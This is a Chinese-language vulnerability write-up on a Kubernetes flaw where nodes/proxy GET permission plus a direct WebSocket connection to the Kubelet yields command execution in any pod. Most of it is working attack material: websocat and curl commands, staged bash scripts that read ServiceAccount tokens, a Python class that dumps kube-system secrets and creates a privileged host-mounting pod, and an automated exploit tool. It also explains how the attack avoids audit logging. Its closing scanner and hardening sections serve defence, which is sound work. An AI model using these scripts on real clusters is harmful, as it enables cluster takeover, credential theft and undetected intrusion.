0. 漏洞概述
2026 年 1 月 26 日,安全研究员 Graham Helton 披露了一个 Kubernetes RBAC 授权设计缺陷:仅需 nodes/proxy 的 GET 权限(几乎所有监控组件都有此权限),配合 WebSocket 直连 Kubelet 10250 端口,即可在集群中任意 Pod 内执行命令,包括 kube-system 中的特权 Pod。
| 属性 | 值 |
|---|---|
| 披露者 | Graham Helton |
| 披露日期 | 2026-01-26 |
| 官方定性 | Won't Fix / intended behavior |
| CVE 编号 | 无(不分配) |
| 所需权限 | nodes/proxy GET(仅此一项) |
| 攻击结果 | 集群内任意 Pod 命令执行 → 集群管理员 |
| 测试版本 | v1.34, v1.35 |
| 在野利用 | Horizon3 NodeZero 模块 H3-2026-0002 |
| 受影响 Helm Chart | 69 个 |
1. 核心原理:WebSocket GET 握手如何骗过 RBAC
1.1 K8s RBAC 基础模型
┌──────────────────────────────────────────────────────────────────┐
│ Kubernetes RBAC 授权模型 │
│ │
│ resources × verbs = 权限 │
│ │
│ 正常映射: │
│ ┌─────────────────┬──────────┬──────────────────────────┐ │
│ │ Resource │ Verb │ 含义 │ │
│ ├─────────────────┼──────────┼──────────────────────────┤ │
│ │ pods │ get │ 读 Pod 信息 (只读) │ │
│ │ pods │ create │ 创建 Pod (写) │ │
│ │ pods/exec │ create │ 在容器内执行命令 (写!) │ │
│ │ pods/logs │ get │ 读容器日志 (只读) │ │
│ │ nodes/proxy │ get │ 读 Kubelet 数据 (看似只读) │ │
│ │ nodes/proxy │ create │ 执行 Kubelet 写操作 │ │
│ └─────────────────┴──────────┴──────────────────────────┘ │
│ │
│ 问题: nodes/proxy 是一个 catch-all 权限 │
│ 它控制对 Kubelet 所有 API 端点的访问 │
│ 包括只读的 /metrics 和写操作的 /exec │
└──────────────────────────────────────────────────────────────────┘
1.2 两条访问路径的授权差异
┌──────────────────────────────────────────────────────────────────┐
│ 两条访问 Kubelet /exec 端点的路径 │
│ │
│ 路径 A: API Server Proxy (安全) │
│ ┌──────────┐ POST ┌──────────┐ 转发 ┌──────────┐ │
│ │ 攻击者 │ ─────────→ │ API Server│ ────────→│ Kubelet │ │
│ │ │ │ │ │ /exec │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ HTTP方法: POST verb映射: POST → CREATE │
│ RBAC检查: nodes/proxy + CREATE │
│ 审计日志: ✓ 完整记录 (含 pods/exec URI) │
│ 结果: 如果只有 GET 权限 → 403 Forbidden ✓ │
│ │
│ 路径 B: WebSocket 直连 (危险!) │
│ ┌──────────┐ GET (Upgrade) ┌──────────┐ │
│ │ 攻击者 │ ──────────────→ │ Kubelet │ │
│ │ │ ← WebSocket ── │ :10250 │ │
│ └──────────┘ 升级成功 └──────────┘ │
│ HTTP方法: GET (WebSocket握手, RFC 6455规定) │
│ verb映射: GET → GET │
│ RBAC检查: nodes/proxy + GET (通过!) │
│ 审计日志: ✗ 仅 subjectaccessreviews, 无命令内容 │
│ 结果: 命令执行成功! ✗ │
│ │
│ 关键: WebSocket 握手必须用 HTTP GET (RFC 6455) │
│ Kubelet 按 GET 授权, 但实际执行的是写操作 (/exec) │
│ 升级后不再做第二次 CREATE 检查! │
└──────────────────────────────────────────────────────────────────┘
1.3 Kubelet auth.go 的 verb 映射逻辑
// Kubelet auth.go 第 80-94行 (简化版)
// 将 HTTP method 映射为 RBAC verb
func (s *server) authorizeRequest(req *http.Request) authorizer.Attributes {
method := req.Method
var verb string
switch method {
case "POST":
verb = "create" // POST → CREATE (正确)
case "GET":
verb = "get" // GET → GET (WebSocket握手走这里!)
case "PUT":
verb = "update"
case "DELETE":
verb = "delete"
}
// 检查: 用户是否有 nodes/proxy 的 GET verb?
// 如果有 → 授权通过 (即使是 /exec 端点!)
// WebSocket 升级后不再做第二次检查
attributes := authorizer.AttributesRecord{
User: user,
Verb: verb, // "get"
Resource: "nodes/proxy",
ResourceRequest: true,
}
decision := s.authorizer.Authorize(attributes)
if decision == authorizer.DecisionAllow {
// 授权通过! WebSocket 升级到 /exec handler
// 后续命令执行不再检查 CREATE 权限
return nil // 允许请求
}
return errors.New("forbidden")
}
1.4 对比演示
# === 路径 A: API Server Proxy (POST → CREATE → 403) ===
# 设置环境变量
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NODE_NAME=$(hostname) # 或通过 Downward API 获取
# 通过 API Server Proxy 路径访问 /exec
# 使用 POST 方法 (标准 HTTP)
curl -sk -X POST \
-H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/default/nginx/nginx?command=id&stdout=true"
# 结果: 403 Forbidden
# {
# "kind": "Status",
# "message": "nodes \"node-1\" is forbidden: cannot create resource \"nodes/proxy\""
# }
# ↑ 正确映射为 CREATE, 没有 CREATE 权限被拒绝 ✓
# === 路径 B: WebSocket 直连 (GET → GET → RCE!) ===
# 获取 Node IP
NODE_IP=$(curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME" | jq -r '.status.addresses[] | select(.type=="InternalIP").address')
# 使用 WebSocket 直连 Kubelet 10250 端口
# WebSocket 握手使用 HTTP GET (RFC 6455 规定)
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
# 结果: 命令执行成功!
# uid=0(root) gid=0(root) groups=0(root)
# ← GET 握手绕过 CREATE 检查, 直接执行! ✗
2. 完整攻击链:5 步从 GET 权限到集群管理员
2.1 攻击链总览
┌──────────────────────────────────────────────────────────────────┐
│ nodes/proxy GET → 集群 RCE 完整攻击链 │
│ │
│ Step 1: 确认权限 │
│ ┌───────────────────────────────────────────┐ │
│ │ cat /var/run/secrets/.../token │ │
│ │ kubectl auth can-i --list │ │
│ │ → 确认有 nodes/proxy GET │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 2: 获取 Node IP ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ 通过 Downward API 或 API Server 查询 │ │
│ │ → 获取目标 Kubelet 的 IP 地址 │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 3: 枚举目标 Pod ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ 连接 Kubelet /pods 端点 │ │
│ │ 列出所有运行中的 Pod 和容器 │ │
│ │ 优先选择 kube-system 中的特权 Pod │ │
│ │ (如 kube-proxy, controller-manager) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 4: WebSocket exec ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ websocat wss://NODE:10250/exec/... │ │
│ │ GET 握手 → RBAC GET 检查通过 │ │
│ │ WebSocket 升级 → 命令执行 │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 5: 提权到集群管理员 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ 从特权 Pod 偷取 ServiceAccount Token │ │
│ │ 或创建特权 Pod 挂载宿主机文件系统 │ │
│ │ → 集群完全沦陷 │ │
│ └───────────────────────────────────────────┘ │
│ │
│ 审计盲区: 整个过程在 audit log 中仅显示 │
│ subjectaccessreviews, 看不到执行的命令内容 │
└──────────────────────────────────────────────────────────────────┘
2.2 Step 1:确认权限
#!/bin/bash
# step1_check_permissions.sh
# 读取 ServiceAccount Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
echo "[*] Reading ServiceAccount Token..."
echo "[*] Token (first 50 chars): ${TOKEN:0:50}..."
# 解码 JWT 查看 payload
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq . 2>/dev/null || \
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null
# 枚举当前权限
echo ""
echo "[*] Checking permissions..."
kubectl auth can-i --list 2>/dev/null || \
curl -sk -H "Authorization: Bearer $TOKEN" \
--cacert "$CACERT" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' | \
jq '.status.resourceRules[] | select(.resources[] | contains("nodes/proxy"))'
# 关键输出:
# resources: ["nodes/proxy"] verbs: ["get"]
# → 有 nodes/proxy GET 权限, 攻击可行!
echo ""
echo "[+] Permission check complete"
echo "[+] If nodes/proxy GET is listed, exploitation is possible"
2.3 Step 2:获取 Node IP
#!/bin/bash
# step2_get_node_ip.sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# 方法 1: 通过 Downward API (如果 Pod 配置了)
NODE_NAME=${MY_NODE_NAME:-$(hostname)}
echo "[*] Node name: $NODE_NAME"
# 方法 2: 通过 API Server 查询 Node 信息
NODE_IP=$(curl -sk \
-H "Authorization: Bearer $TOKEN" \
--cacert "$CACERT" \
"$APISERVER/api/v1/nodes/$NODE_NAME" | \
jq -r '.status.addresses[] | select(.type=="InternalIP").address')
echo "[*] Node Internal IP: $NODE_IP"
# 方法 3: 如果在监控 Pod 中, 从 /pods 端点提取
if [ -z "$NODE_IP" ]; then
echo "[*] Trying to get Node IP from /pods endpoint..."
NODE_IP=$(curl -sk \
-H "Authorization: Bearer $TOKEN" \
--cacert "$CACERT" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | \
jq -r '.items[0].status.hostIP' 2>/dev/null)
echo "[*] Node IP from /pods: $NODE_IP"
fi
echo "[+] Target Kubelet: https://$NODE_IP:10250"
2.4 Step 3:枚举目标 Pod
#!/bin/bash
# step3_enumerate_pods.sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="<目标Node IP>"
# 通过 Kubelet /pods 端点列出所有 Pod
echo "[*] Enumerating pods on node..."
PODS_JSON=$(curl -sk \
-H "Authorization: Bearer $TOKEN" \
"https://$NODE_IP:10250/pods")
# 解析并优先显示 kube-system 中的特权 Pod
echo "$PODS_JSON" | jq -r '
.items[] |
select(.metadata.namespace == "kube-system") |
"NS: \(.metadata.namespace) POD: \(.metadata.name) CONTAINER: \(.spec.containers[0].name) SA: \(.spec.serviceAccountName) HOST_NET: \(.spec.hostNetwork // false) HOST_PID: \(.spec.hostPID // false)"
'
# 优先目标:
# 1. kube-proxy (通常有 hostNetwork: true, 高权限 SA)
# 2. controller-manager (cluster-admin 级别 SA)
# 3. 任何 hostPID/hostNetwork 的 Pod
echo ""
echo "[*] All pods on this node:"
echo "$PODS_JSON" | jq -r '
.items[] |
"NS: \(.metadata.namespace) POD: \(.metadata.name) CONTAINER: \(.spec.containers[0].name)"
' | head -20
2.5 Step 4:WebSocket 命令执行
#!/bin/bash
# step4_websocket_exec.sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="<目标Node IP>"
# 目标: kube-system 中的 kube-proxy Pod
TARGET_NS="kube-system"
TARGET_POD="kube-proxy-xxxxx" # 从 Step 3 获取
TARGET_CONTAINER="kube-proxy"
# 执行命令: 读取 ServiceAccount Token
echo "[*] Executing command via WebSocket..."
echo "[*] Target: $TARGET_NS/$TARGET_POD/$TARGET_CONTAINER"
echo "[*] Command: cat /var/run/secrets/kubernetes.io/serviceaccount/token"
echo ""
# 使用 websocat 进行 WebSocket exec
# 关键: 使用 wss:// 协议, GET 握手绕过 RBAC
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$TARGET_NS/$TARGET_POD/$TARGET_CONTAINER?output=1&error=1&command=cat&command=/var/run/secrets/kubernetes.io/serviceaccount/token"
# 输出: kube-proxy 的 ServiceAccount Token
# 这个 Token 通常有 cluster-admin 或接近的权限!
echo ""
echo "[*] Alternative: execute id command"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$TARGET_NS/$TARGET_POD/$TARGET_CONTAINER?output=1&error=1&command=id"
# 输出: uid=0(root) gid=0(root) groups=0(root)
# kube-proxy 通常以 root 运行!
2.6 Step 5:提权到集群管理员
"""
Step 5: 使用从特权 Pod 偷取的 Token 提权到集群管理员
"""
import subprocess
import json
import urllib.request
import ssl
class K8sPrivilegeEscalation:
"""K8s 提权到集群管理员"""
def __init__(self, stolen_token: str, api_server: str):
self.token = stolen_token
self.api_server = api_server
self.ctx = ssl.create_default_context()
self.ctx.check_hostname = False
self.ctx.verify_mode = ssl.CERT_NONE
def check_permissions(self) -> dict:
"""检查偷来的 Token 有什么权限"""
url = f"{self.api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
body = json.dumps({
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": {"namespace": "kube-system"}
}).encode()
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Authorization", f"Bearer {self.token}")
req.add_header("Content-Type", "application/json")
response = urllib.request.urlopen(req, context=self.ctx)
rules = json.loads(response.read())
# 检查是否有 cluster-admin 级别权限
for rule in rules["status"]["resourceRules"]:
if "*" in rule.get("verbs", []) and "*" in rule.get("resources", []):
print("[!] CLUSTER ADMIN ACCESS DETECTED!")
return {"cluster_admin": True, "rule": rule}
return {"cluster_admin": False, "rules": rules["status"]["resourceRules"]}
def steal_secrets(self) -> list:
"""窃取 kube-system 中的所有 Secrets"""
url = f"{self.api_server}/api/v1/namespaces/kube-system/secrets"
req = urllib.request.Request(url)
req.add_header("Authorization", f"Bearer {self.token}")
response = urllib.request.urlopen(req, context=self.ctx)
secrets = json.loads(response.read())
stolen = []
for secret in secrets.get("items", []):
import base64
name = secret["metadata"]["name"]
if "token" in name.lower() or "cert" in name.lower():
data = secret.get("data", {})
decoded = {}
for key, value in data.items():
decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")
stolen.append({"name": name, "type": secret["type"], "data": decoded})
print(f"[+] Stolen secret: {name}")
return stolen
def create_privileged_pod(self) -> str:
"""创建特权 Pod 挂载宿主机文件系统"""
pod_manifest = {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "debug-tools",
"namespace": "default"
},
"spec": {
"hostPID": True,
"hostNetwork": True,
"containers": [{
"name": "debug",
"image": "alpine:3.18",
"command": ["/bin/sh", "-c", "sleep 3600"],
"securityContext": {
"privileged": True
},
"volumeMounts": [{
"name": "host-root",
"mountPath": "/host"
}]
}],
"volumes": [{
"name": "host-root",
"hostPath": {"path": "/"}
}]
}
}
url = f"{self.api_server}/api/v1/namespaces/default/pods"
body = json.dumps(pod_manifest).encode()
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Authorization", f"Bearer {self.token}")
req.add_header("Content-Type", "application/json")
response = urllib.request.urlopen(req, context=self.ctx)
result = json.loads(response.read())
pod_name = result["metadata"]["name"]
print(f"[+] Privileged pod created: {pod_name}")
print(f"[+] Access host filesystem at /host")
return pod_name
def full_takeover(self):
"""完整集群接管"""
print("=" * 60)
print("K8s Cluster Takeover via nodes/proxy GET")
print("=" * 60)
# 1. 检查权限
print("\n[*] Step 1: Checking stolen token permissions...")
perms = self.check_permissions()
# 2. 窃取 Secrets
print("\n[*] Step 2: Stealing kube-system secrets...")
secrets = self.steal_secrets()
# 3. 创建特权 Pod
print("\n[*] Step 3: Creating privileged pod...")
pod = self.create_privileged_pod()
print(f"\n[+] Cluster takeover complete!")
print(f"[+] Stolen {len(secrets)} secrets from kube-system")
print(f"[+] Privileged pod: {pod}")
print(f"[+] Host filesystem accessible at /host")
3. Python WebSocket 攻击工具
"""
K8s nodes/proxy GET → RCE 自动化利用工具
无需 websocat, 纯 Python 实现 WebSocket exec
"""
import asyncio
import ssl
import json
import base64
from urllib.parse import quote
class K8sNodesProxyExploit:
"""nodes/proxy GET 权限利用工具"""
def __init__(self, token: str, node_ip: str, port: int = 10250):
self.token = token
self.node_ip = node_ip
self.port = port
self.ssl_ctx = ssl.create_default_context()
self.ssl_ctx.check_hostname = False
self.ssl_ctx.verify_mode = ssl.CERT_NONE
async def websocket_exec(self, namespace: str, pod: str,
container: str, command: list[str]) -> str:
"""
通过 WebSocket 在目标容器中执行命令
利用 GET 握手绕过 RBAC CREATE 检查
"""
import websockets
# 构造 WebSocket URL
# Kubelet exec 端点格式: /exec/{namespace}/{pod}/{container}
cmd_params = "&".join([f"command={quote(c)}" for c in command])
url = (
f"wss://{self.node_ip}:{self.port}/exec/"
f"{namespace}/{pod}/{container}"
f"?output=1&error=1&{cmd_params}"
)
# WebSocket 握手使用 HTTP GET
# Kubelet auth.go 将 GET 映射为 RBAC GET verb
# 如果用户有 nodes/proxy GET 权限 → 授权通过
# WebSocket 升级后不再做 CREATE 检查
headers = {
"Authorization": f"Bearer {self.token}",
}
# v4.channel.k8s.io 是 K8s WebSocket 子协议
# v4 = 4通道 (stdin, stdout, stderr, error)
try:
async with websockets.connect(
url,
ssl=self.ssl_ctx,
additional_headers=headers,
subprotocols=["v4.channel.k8s.io"],
open_timeout=10,
close_timeout=5
) as ws:
# 读取输出
output = ""
try:
while True:
message = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(message, bytes):
# K8s WebSocket 协议: 第一个字节是通道号
# 通道 1 = stdout, 通道 2 = stderr, 通道 3 = error
if len(message) > 1:
channel = message[0]
data = message[1:]
if channel in (1, 2): # stdout or stderr
output += data.decode("utf-8", errors="replace")
except asyncio.TimeoutError:
pass
return output.strip()
except Exception as e:
return f"Error: {e}"
async def enumerate_pods(self) -> list:
"""枚举 Node 上所有运行的 Pod"""
import urllib.request
url = f"https://{self.node_ip}:{self.port}/pods"
req = urllib.request.Request(url)
req.add_header("Authorization", f"Bearer {self.token}")
response = urllib.request.urlopen(req, context=self.ssl_ctx)
pods_data = json.loads(response.read())
pods = []
for item in pods_data.get("items", []):
pod_info = {
"namespace": item["metadata"]["namespace"],
"name": item["metadata"]["name"],
"containers": [c["name"] for c in item["spec"]["containers"]],
"service_account": item["spec"].get("serviceAccountName", "default"),
"host_network": item["spec"].get("hostNetwork", False),
"host_pid": item["spec"].get("hostPID", False),
"privileged": any(
c.get("securityContext", {}).get("privileged", False)
for c in item["spec"]["containers"]
)
}
pods.append(pod_info)
return pods
async def find_high_value_targets(self, pods: list) -> list:
"""识别高价值目标 Pod"""
high_value = []
for pod in pods:
score = 0
reasons = []
# kube-system 命名空间
if pod["namespace"] == "kube-system":
score += 3
reasons.append("kube-system namespace")
# 特权容器
if pod["privileged"]:
score += 5
reasons.append("privileged container")
# hostNetwork
if pod["host_network"]:
score += 2
reasons.append("hostNetwork")
# hostPID
if pod["host_pid"]:
score += 2
reasons.append("hostPID")
# 高权限 ServiceAccount
if pod["service_account"] not in ("default", ""):
score += 2
reasons.append(f"SA: {pod['service_account']}")
if score >= 3:
high_value.append({
**pod,
"score": score,
"reasons": reasons
})
# 按分数排序
high_value.sort(key=lambda x: x["score"], reverse=True)
return high_value
async def steal_sa_token(self, namespace: str, pod: str,
container: str) -> str:
"""从目标 Pod 偷取 ServiceAccount Token"""
command = ["cat", "/var/run/secrets/kubernetes.io/serviceaccount/token"]
token = await self.websocket_exec(namespace, pod, container, command)
return token.strip()
async def run_exploit(self):
"""执行完整利用链"""
print("=" * 60)
print("K8s nodes/proxy GET → RCE Exploit")
print("=" * 60)
# Step 1: 枚举 Pod
print("\n[*] Step 1: Enumerating pods on node...")
pods = await self.enumerate_pods()
print(f" Found {len(pods)} pods")
# Step 2: 识别高价值目标
print("\n[*] Step 2: Identifying high-value targets...")
targets = await self.find_high_value_targets(pods)
for i, t in enumerate(targets[:5]):
print(f" [{i}] {t['namespace']}/{t['name']}")
print(f" Score: {t['score']} | Reasons: {', '.join(t['reasons'])}")
if not targets:
print("[-] No high-value targets found")
return
# Step 3: 在高价值目标中执行命令
target = targets[0]
print(f"\n[*] Step 3: Executing commands in {target['namespace']}/{target['name']}")
container = target["containers"][0]
# 执行 id 命令确认权限
print(f"\n[*] Executing: id")
result = await self.websocket_exec(
target["namespace"], target["name"], container, ["id"]
)
print(f" Output: {result}")
# Step 4: 偷取 ServiceAccount Token
print(f"\n[*] Step 4: Stealing ServiceAccount Token...")
stolen_token = await self.steal_sa_token(
target["namespace"], target["name"], container
)
if stolen_token and len(stolen_token) > 50:
print(f" [+] Token stolen! (length: {len(stolen_token)})")
print(f" [+] Token (first 50): {stolen_token[:50]}...")
else:
print(f" [-] Failed to steal token")
return
# Step 5: 使用偷来的 Token 访问 API Server
print(f"\n[*] Step 5: Using stolen token to access API Server...")
print(f" Token can be used with kubectl:")
print(f" KUBE_TOKEN={stolen_token[:30]}... kubectl --server=<API_SERVER> auth can-i --list")
print(f"\n[+] Exploit complete!")
print(f"[+] Cluster may be fully compromised")
# === 使用方式 ===
async def main():
import os
# 从环境变量或文件读取 Token
token = os.environ.get("K8S_TOKEN", "")
if not token:
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"
if os.path.exists(token_path):
with open(token_path) as f:
token = f.read().strip()
if not token:
print("[-] No token found")
return
node_ip = os.environ.get("NODE_IP", "10.0.0.10")
exploit = K8sNodesProxyExploit(token=token, node_ip=node_ip)
await exploit.run_exploit()
# asyncio.run(main())
4. 隐蔽性分析
4.1 审计日志盲区
"""
两条路径的审计日志差异对比
"""
audit_comparison = """
┌──────────────────────────────────────────────────────────────────┐
│ 审计日志对比 │
│ │
│ 路径 A: API Server Proxy │
│ ┌────────────────────────────────────────────────────┐ │
│ │ 审计日志记录: │ │
│ │ • verb: create │ │
│ │ • resource: nodes/proxy │ │
│ │ • subresource: exec │ │
│ │ • requestURI: /api/v1/nodes/node1/proxy/exec/... │ │
│ │ • 完整命令参数可见 ✓ │ │
│ │ • pods/exec 审计记录生成 ✓ │ │
│ │ • subjectaccessreviews 记录 ✓ │ │
│ └────────────────────────────────────────────────────┘ │
│ → 蓝队可以看到: 谁在哪个 Pod 执行了什么命令 │
│ │
│ 路径 B: WebSocket 直连 Kubelet │
│ ┌────────────────────────────────────────────────────┐ │
│ │ 审计日志记录: │ │
│ │ • verb: get │ │
│ │ • resource: nodes/proxy │ │
│ │ • requestURI: /exec/kube-system/kube-proxy/... │ │
│ │ • 命令参数: 不记录 ✗ │ │
│ │ • pods/exec 审计记录: 不生成 ✗ │ │
│ │ • subjectaccessreviews 记录: 有 (但只有 verb=get) │ │
│ └────────────────────────────────────────────────────┘ │
│ → 蓝队只能看到: 某用户 GET 了 nodes/proxy │
│ → 看不到执行了什么命令, 在哪个 Pod 执行 │
│ → 看起来像是正常的监控请求! │
│ │
│ Graham Helton 原文: │
│ "Kubernetes AuditPolicy does not log commands executed │
│ through a direct connection to the Kubelet API" │
└──────────────────────────────────────────────────────────────────┘
"""
4.2 检测困难点
| 检测方法 | 路径 A (API Server) | 路径 B (WebSocket 直连) |
|---|---|---|
| K8s Audit Log | ✓ 完整记录命令 | ✗ 仅 subjectaccessreviews |
| pods/exec 审计 | ✓ 生成 | ✗ 不生成 |
| 命令内容 | ✓ 可见 | ✗ 不可见 |
| 请求来源 | ✓ API Server IP | ✗ 直接来自 Pod IP |
| NetworkPolicy | ✓ 可限制 | 需额外配置限制 10250 |
| Falco | ✓ 可检测 | 需检测 10250 端口连接 |
5. 攻击面测绘
5.1 受影响的 Helm Chart
Graham Helton 扫描发现 69 个 Helm Chart 包含 nodes/proxy GET 权限。常见的受影响组件:
| 组件类型 | 示例 | 为什么有 nodes/proxy GET |
|---|---|---|
| 监控组件 | Prometheus Node Exporter | 读取节点 metrics |
| 日志收集 | Fluentd, Filebeat | 读取容器日志 |
| 网络插件 | Calico, Cilium | 读取网络状态 |
| 存储插件 | CSI drivers | 读取存储状态 |
| 安全代理 | Datadog Agent, Sysdig | 全面监控 |
5.2 集群扫描脚本
"""
扫描集群中所有拥有 nodes/proxy 权限的 ServiceAccount
"""
import json
import subprocess
class NodesProxyScanner:
"""扫描 nodes/proxy 权限分配"""
@staticmethod
def scan_clusterrole_bindings():
"""扫描 ClusterRoleBinding 中的 nodes/proxy 权限"""
# 获取所有 ClusterRole
result = subprocess.run(
["kubectl", "get", "clusterroles", "-o", "json"],
capture_output=True, text=True
)
roles = json.loads(result.stdout)
vulnerable_roles = []
for role in roles["items"]:
rules = role.get("rules", [])
for rule in rules:
resources = rule.get("resources", [])
verbs = rule.get("verbs", [])
if "nodes/proxy" in resources and "get" in verbs:
vulnerable_roles.append({
"role_name": role["metadata"]["name"],
"verbs": verbs,
"resources": resources,
"risk": "HIGH" if "get" in verbs else "CRITICAL"
})
return vulnerable_roles
@staticmethod
def scan_role_bindings():
"""扫描哪些 ServiceAccount 绑定了有 nodes/proxy 权限的 Role"""
vulnerable_roles = NodesProxyScanner.scan_clusterrole_bindings()
vulnerable_role_names = [r["role_name"] for r in vulnerable_roles]
# 检查 ClusterRoleBinding
result = subprocess.run(
["kubectl", "get", "clusterrolebindings", "-o", "json"],
capture_output=True, text=True
)
bindings = json.loads(result.stdout)
affected_sas = []
for binding in bindings["items"]:
role_ref = binding.get("roleRef", {})
if role_ref.get("name") in vulnerable_role_names:
subjects = binding.get("subjects", [])
for subject in subjects:
if subject.get("kind") == "ServiceAccount":
affected_sas.append({
"service_account": subject["name"],
"namespace": subject.get("namespace", ""),
"role": role_ref["name"],
"binding": binding["metadata"]["name"]
})
return affected_sas
@staticmethod
def scan_helm_charts():
"""扫描已安装的 Helm Release 中的 RBAC 配置"""
result = subprocess.run(
["helm", "list", "-A", "-o", "json"],
capture_output=True, text=True
)
releases = json.loads(result.stdout) if result.stdout else []
for release in releases:
name = release["name"]
namespace = release["namespace"]
# 获取 release 的 manifest
manifest_result = subprocess.run(
["helm", "get", "manifest", name, "-n", namespace],
capture_output=True, text=True
)
manifest = manifest_result.stdout
if "nodes/proxy" in manifest and "get" in manifest:
print(f"[!] Helm Release '{name}' in namespace '{namespace}' "
f"contains nodes/proxy GET permission!")
@staticmethod
def generate_report():
"""生成完整扫描报告"""
print("=" * 60)
print("K8s nodes/proxy GET Permission Scanner")
print("=" * 60)
print("\n[*] Scanning ClusterRoles for nodes/proxy GET...")
roles = NodesProxyScanner.scan_clusterrole_bindings()
for role in roles:
print(f" [!] {role['role_name']}: {role['verbs']} on {role['resources']}")
print(f"\n[*] Found {len(roles)} roles with nodes/proxy GET")
print("\n[*] Scanning ServiceAccount bindings...")
sas = NodesProxyScanner.scan_role_bindings()
for sa in sas:
print(f" [!] SA: {sa['namespace']}/{sa['service_account']} "
f"← {sa['role']} (via {sa['binding']})")
print(f"\n[*] Found {len(sas)} ServiceAccounts with nodes/proxy GET")
print("\n[*] Scanning Helm releases...")
NodesProxyScanner.scan_helm_charts()
print("\n" + "=" * 60)
print("Recommendation:")
print(" 1. Remove nodes/proxy GET from non-essential ServiceAccounts")
print(" 2. Restrict Kubelet 10250 port access via NetworkPolicy")
print(" 3. Monitor direct Kubelet connections (bypassing API Server)")
print(" 4. Wait for KEP-2862 GA in v1.36 for fine-grained permissions")
print("=" * 60)
# 运行扫描
# NodesProxyScanner.generate_report()
6. 防御方案
6.1 网络层防御
# NetworkPolicy: 限制只有 API Server 能访问 Kubelet 10250 端口
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-kubelet-access
namespace: kube-system
spec:
podSelector:
matchLabels:
component: kubelet
policyTypes:
- Ingress
ingress:
# 仅允许 API Server 访问 Kubelet
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
component: kube-apiserver
ports:
- protocol: TCP
port: 10250
# 允许节点本地访问 (健康检查)
- from:
- ipBlock:
cidr: 127.0.0.1/32
ports:
- protocol: TCP
port: 10250
---
# 阻断 Pod 到 Kubelet 10250 的直接连接
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-pod-to-kubelet
namespace: default
spec:
podSelector: {}
policyTypes:
- Egress
egress:
# 允许所有出站,但排除 Kubelet 端口
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8 # 需要根据实际网络配置调整
# 允许 DNS
- to:
- namespaceSelector: {}
ports:
- protocol: UDP
port: 53
6.2 RBAC 最小权限
# 错误: 使用 nodes/proxy (过宽的权限)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: monitoring-role
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"] # ← 危险! 这就是攻击入口
---
# 正确: 使用 KEP-2862 细粒度子资源 (v1.36+)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: monitoring-role-safe
rules:
# 仅允许读取 metrics (不需要 /exec 权限)
- apiGroups: [""]
resources: ["nodes/metrics"]
verbs: ["get"]
# 仅允许读取统计信息
- apiGroups: [""]
resources: ["nodes/stats"]
verbs: ["get"]
# 仅允许读取日志
- apiGroups: [""]
resources: ["nodes/log"]
verbs: ["get"]
# 仅允许读取 Pod 列表
- apiGroups: [""]
resources: ["nodes/pods"]
verbs: ["get"]
# 注意: 不包含 nodes/proxy!
# 注意: 不包含 nodes/exec!
6.3 Kubelet 配置加固
# Kubelet 配置加固
# /var/lib/kubelet/config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
# 强制认证
authentication:
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
webhook:
enabled: true # 强制 webhook 认证 (RBAC 检查)
anonymous:
enabled: false # 禁止匿名访问
# 强制授权
authorization:
mode: Webhook # 强制使用 RBAC 授权
# 限制只读端口 (10255)
readOnlyPort: 0 # 禁用只读端口
